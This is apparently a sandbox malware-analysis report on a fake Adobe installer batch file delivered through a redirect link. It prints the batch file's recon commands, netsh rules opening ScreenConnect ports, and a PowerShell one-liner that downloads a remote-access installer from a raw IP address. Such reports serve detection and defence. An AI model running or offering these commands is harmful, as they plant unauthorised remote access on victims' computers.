Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-cb7c65bdb18c620d	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-AE42-97844F66936F}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E2D91B9EDC9C05E6BCC756DB1BC826D0\AF12F392321F31AC3F5A29714DC368C3	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect_4235_08.18\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2246396966-3025826688-3847171515-1000\{31299559-5431-4E36-9B18-7B2135274C16}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\AF12F392321F31AC3F5A29714DC368C3	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\SourceList\Media\1 = ";"	msiexec.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
5800	powershell.exe
5800	powershell.exe
5800	powershell.exe
5252	powershell.exe
5252	powershell.exe
5252	powershell.exe
2556	msiexec.exe
2556	msiexec.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
2488	msedge.exe
2488	msedge.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
824	Process not Found
824	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeDebugPrivilege	5084	taskkill.exe
Token: SeDebugPrivilege	880	taskkill.exe
Token: SeDebugPrivilege	3424	taskkill.exe
Token: SeDebugPrivilege	260	taskkill.exe
Token: SeShutdownPrivilege	3520	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3520	msiexec.exe
Token: SeSecurityPrivilege	2556	msiexec.exe
Token: SeCreateTokenPrivilege	3520	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3520	msiexec.exe
Token: SeLockMemoryPrivilege	3520	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3520	msiexec.exe
Token: SeMachineAccountPrivilege	3520	msiexec.exe
Token: SeTcbPrivilege	3520	msiexec.exe
Token: SeSecurityPrivilege	3520	msiexec.exe
Token: SeTakeOwnershipPrivilege	3520	msiexec.exe
Token: SeLoadDriverPrivilege	3520	msiexec.exe
Token: SeSystemProfilePrivilege	3520	msiexec.exe
Token: SeSystemtimePrivilege	3520	msiexec.exe
Token: SeProfSingleProcessPrivilege	3520	msiexec.exe
Token: SeIncBasePriorityPrivilege	3520	msiexec.exe
Token: SeCreatePagefilePrivilege	3520	msiexec.exe
Token: SeCreatePermanentPrivilege	3520	msiexec.exe
Token: SeBackupPrivilege	3520	msiexec.exe
Token: SeRestorePrivilege	3520	msiexec.exe
Token: SeShutdownPrivilege	3520	msiexec.exe
Token: SeDebugPrivilege	3520	msiexec.exe
Token: SeAuditPrivilege	3520	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3520	msiexec.exe
Token: SeChangeNotifyPrivilege	3520	msiexec.exe
Token: SeRemoteShutdownPrivilege	3520	msiexec.exe
Token: SeUndockPrivilege	3520	msiexec.exe
Token: SeSyncAgentPrivilege	3520	msiexec.exe
Token: SeEnableDelegationPrivilege	3520	msiexec.exe
Token: SeManageVolumePrivilege	3520	msiexec.exe
Token: SeImpersonatePrivilege	3520	msiexec.exe
Token: SeCreateGlobalPrivilege	3520	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeShutdownPrivilege	2860	MsiExec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe
Token: SeTakeOwnershipPrivilege	2556	msiexec.exe
Token: SeRestorePrivilege	2556	msiexec.exe

Suspicious use of FindShellTrayWindow 46 IoCs

pid	Process
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
880	ScreenConnect.WindowsClient.exe
880	ScreenConnect.WindowsClient.exe
880	ScreenConnect.WindowsClient.exe
880	ScreenConnect.WindowsClient.exe
880	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 21 IoCs

pid	Process
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
4948	msedge.exe
880	ScreenConnect.WindowsClient.exe
880	ScreenConnect.WindowsClient.exe
880	ScreenConnect.WindowsClient.exe
880	ScreenConnect.WindowsClient.exe
880	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3520	msiexec.exe
2556	msiexec.exe
4716	MsiExec.exe
2860	MsiExec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4948 wrote to memory of 4372	4948	msedge.exe	89
PID 4948 wrote to memory of 1304	4948	msedge.exe	90
PID 4948 wrote to memory of 5372	4948	msedge.exe	91
PID 4948 wrote to memory of 5372	4948	msedge.exe	91
PID 4948 wrote to memory of 5372	4948	msedge.exe	91
PID 4948 wrote to memory of 2208	4948	msedge.exe	92
PID 4948 wrote to memory of 2208	4948	msedge.exe	92
PID 4948 wrote to memory of 3620	4948	msedge.exe	95
PID 4948 wrote to memory of 4836	4948	msedge.exe	94
PID 4948 wrote to memory of 3620	4948	msedge.exe	95
PID 4948 wrote to memory of 3620	4948	msedge.exe	95
PID 4948 wrote to memory of 4836	4948	msedge.exe	94
PID 4948 wrote to memory of 4836	4948	msedge.exe	94
PID 4948 wrote to memory of 2936	4948	msedge.exe	96
PID 4948 wrote to memory of 4132	4948	msedge.exe	97
PID 4948 wrote to memory of 2936	4948	msedge.exe	96
PID 4948 wrote to memory of 2936	4948	msedge.exe	96
PID 4948 wrote to memory of 4132	4948	msedge.exe	97
PID 4948 wrote to memory of 4132	4948	msedge.exe	97
PID 4948 wrote to memory of 1860	4948	msedge.exe	99
PID 4948 wrote to memory of 1860	4948	msedge.exe	99
PID 4948 wrote to memory of 1860	4948	msedge.exe	99
PID 4948 wrote to memory of 972	4948	msedge.exe	100
PID 4948 wrote to memory of 5336	4948	msedge.exe	101
PID 4948 wrote to memory of 972	4948	msedge.exe	100
PID 4948 wrote to memory of 5336	4948	msedge.exe	101
PID 4948 wrote to memory of 3336	4948	msedge.exe	103
PID 4948 wrote to memory of 2128	4948	msedge.exe	104
PID 4948 wrote to memory of 2128	4948	msedge.exe	104
PID 4948 wrote to memory of 2128	4948	msedge.exe	104
PID 4948 wrote to memory of 4856	4948	msedge.exe	107
PID 4948 wrote to memory of 4856	4948	msedge.exe	107
PID 4948 wrote to memory of 4856	4948	msedge.exe	107
PID 4948 wrote to memory of 2592	4948	msedge.exe	108
PID 4948 wrote to memory of 2592	4948	msedge.exe	108
PID 4948 wrote to memory of 2592	4948	msedge.exe	108
PID 4948 wrote to memory of 2864	4948	msedge.exe	109
PID 4948 wrote to memory of 3944	4948	msedge.exe	110
PID 4948 wrote to memory of 2864	4948	msedge.exe	109
PID 4948 wrote to memory of 2864	4948	msedge.exe	109
PID 4948 wrote to memory of 3944	4948	msedge.exe	110
PID 4948 wrote to memory of 3828	4948	msedge.exe	111
PID 4948 wrote to memory of 5540	4948	msedge.exe	159
PID 4948 wrote to memory of 5768	4948	msedge.exe	114
PID 4948 wrote to memory of 5268	4948	msedge.exe	145
PID 4948 wrote to memory of 4936	4948	msedge.exe	116
PID 4948 wrote to memory of 2400	4948	msedge.exe	118
PID 4936 wrote to memory of 4412	4936	cmd.exe	120
PID 4412 wrote to memory of 4896	4412	net.exe	121
PID 2400 wrote to memory of 4284	2400	cmd.exe	122
PID 4284 wrote to memory of 4360	4284	net.exe	123
PID 4936 wrote to memory of 3960	4936	cmd.exe	124
PID 4936 wrote to memory of 5412	4936	cmd.exe	125
PID 2400 wrote to memory of 3568	2400	cmd.exe	126
PID 4936 wrote to memory of 6008	4936	cmd.exe	127
PID 2400 wrote to memory of 4008	2400	cmd.exe	128
PID 2400 wrote to memory of 5900	2400	cmd.exe	129
PID 4936 wrote to memory of 5912	4936	cmd.exe	130
PID 2400 wrote to memory of 3352	2400	cmd.exe	131
PID 4936 wrote to memory of 3548	4936	cmd.exe	132
PID 2400 wrote to memory of 2324	2400	cmd.exe	133
PID 4936 wrote to memory of 4132	4936	cmd.exe	134
PID 2400 wrote to memory of 792	2400	cmd.exe	135
PID 4936 wrote to memory of 1164	4936	cmd.exe	136

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	118	curl/8.8.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://shoutout.wix.com/so/32Q2BeNTJ/c?w=jDCxOV0VEm9kICIb77LMlXmSC1eneaC-t2_glGWMblg.eyJ1IjoiaHR0cHM6Ly9zYWludGZpbGVkb3hwYXllc2VuLmFqb2xvYWpvbG9iYW50ZmlsZS50b3AvMzc0NmFkb2JlNDY0ODQiLCJyIjoiN2U4OTI1YmUtYjdjOC00OTM1LWIxZGEtZWQ3YTlhMzhjMjlhIiwibSI6ImxwIn0
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x2d8,0x7ff9fc45c188,0x7ff9fc45c194,0x7ff9fc45c1a0
  2⤵
  PID:4372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1816,i,7081038333166141235,1657585067288570170,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:11
  2⤵
  - System Time Discovery
  PID:1304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,5483174097523906684,2660783041376220508,262144 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:2
  2⤵
  PID:5372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2232,i,12022743036992806711,10622902251762761746,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=2952 /prefetch:13
  2⤵
  PID:2208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3624,i,15765625530913050269,2863984234778657875,2097152 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
  2⤵
  PID:4836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3612,i,8759753841492959317,11261484412453997938,2097152 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
  2⤵
  PID:3620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4316,i,11581348071647705290,4128232686892486797,2097152 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:1
  2⤵
  PID:2936
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4332,i,2578269744258281080,4316350863013787629,2097152 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:9
  2⤵
  PID:4132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5416,i,4603157277618562489,15935472472949234877,2097152 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:1
  2⤵
  PID:1860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5512,i,8539963428436230305,4185029978180954542,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:14
  2⤵
  PID:972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5516,i,3144195552858097216,167234822516479379,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=5124 /prefetch:14
  2⤵
  PID:5336
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6084,i,4506396022998651560,4557835804580427150,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
  2⤵
  PID:2976
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6084,i,4506396022998651560,4557835804580427150,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
  2⤵
  PID:3336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6220,i,12269865215189801475,427638756877543751,2097152 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:1
  2⤵
  PID:2128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6532,i,12292326712917152625,145954860305296401,2097152 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:1
  2⤵
  PID:4856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6900,i,7557132134536091799,17279557297103340863,2097152 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=7156 /prefetch:1
  2⤵
  PID:2592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6280,i,7987504170194179776,2086623886168202038,2097152 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:1
  2⤵
  PID:2864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5852,i,11543053940925875458,3217592103270154001,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:14
  2⤵
  PID:3944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5504,i,16280103656583381122,985211648199743535,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:14
  2⤵
  PID:3828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7380,i,2604983701689132519,11921294710740366086,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=7392 /prefetch:14
  2⤵
  PID:5540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7376,i,2074310098426018715,2213780540207041502,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=7384 /prefetch:14
  2⤵
  PID:5768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7308,i,4810926851558059713,15439504227649624658,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14
  2⤵
  PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Adobe_installer_readerx.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4412
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ver
    3⤵
    - Executes a command shell one-liner
    PID:3960
- - C:\Windows\system32\where.exe
    where msiexec
    3⤵
    PID:5412
- - C:\Windows\system32\where.exe
    where powershell
    3⤵
    PID:6008
- - C:\Windows\system32\where.exe
    where curl
    3⤵
    PID:5912
- - C:\Windows\system32\sc.exe
    sc query "msiserver"
    3⤵
    - Launches sc.exe
    PID:3548
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall delete rule name="ScreenConnect Outbound"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4132
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall delete rule name="ScreenConnect Inbound"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1164
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall delete rule name="ScreenConnect Server Port"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3188
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="ScreenConnect Outbound" dir=out action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2336
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="ScreenConnect Inbound" dir=in action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5268
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="ScreenConnect Server Port" dir=out action=allow protocol=TCP localport=8040 remoteport=8040 enable=yes profile=any
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:252
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="ScreenConnect Server Port In" dir=in action=allow protocol=TCP localport=8040 enable=yes profile=any
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4508
- - C:\Windows\system32\where.exe
    where curl
    3⤵
    PID:4868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$ErrorActionPreference='Stop'; $ProgressPreference='SilentlyContinue'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $client = New-Object System.Net.WebClient; $client.DownloadFile('http://192.227.128.184:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest', 'C:\Users\Admin\AppData\Local\Temp\ScreenConnect_4235_08.10\ScreenConnect.ClientSetup.msi')"
    3⤵
    - Badlisted process makes network request
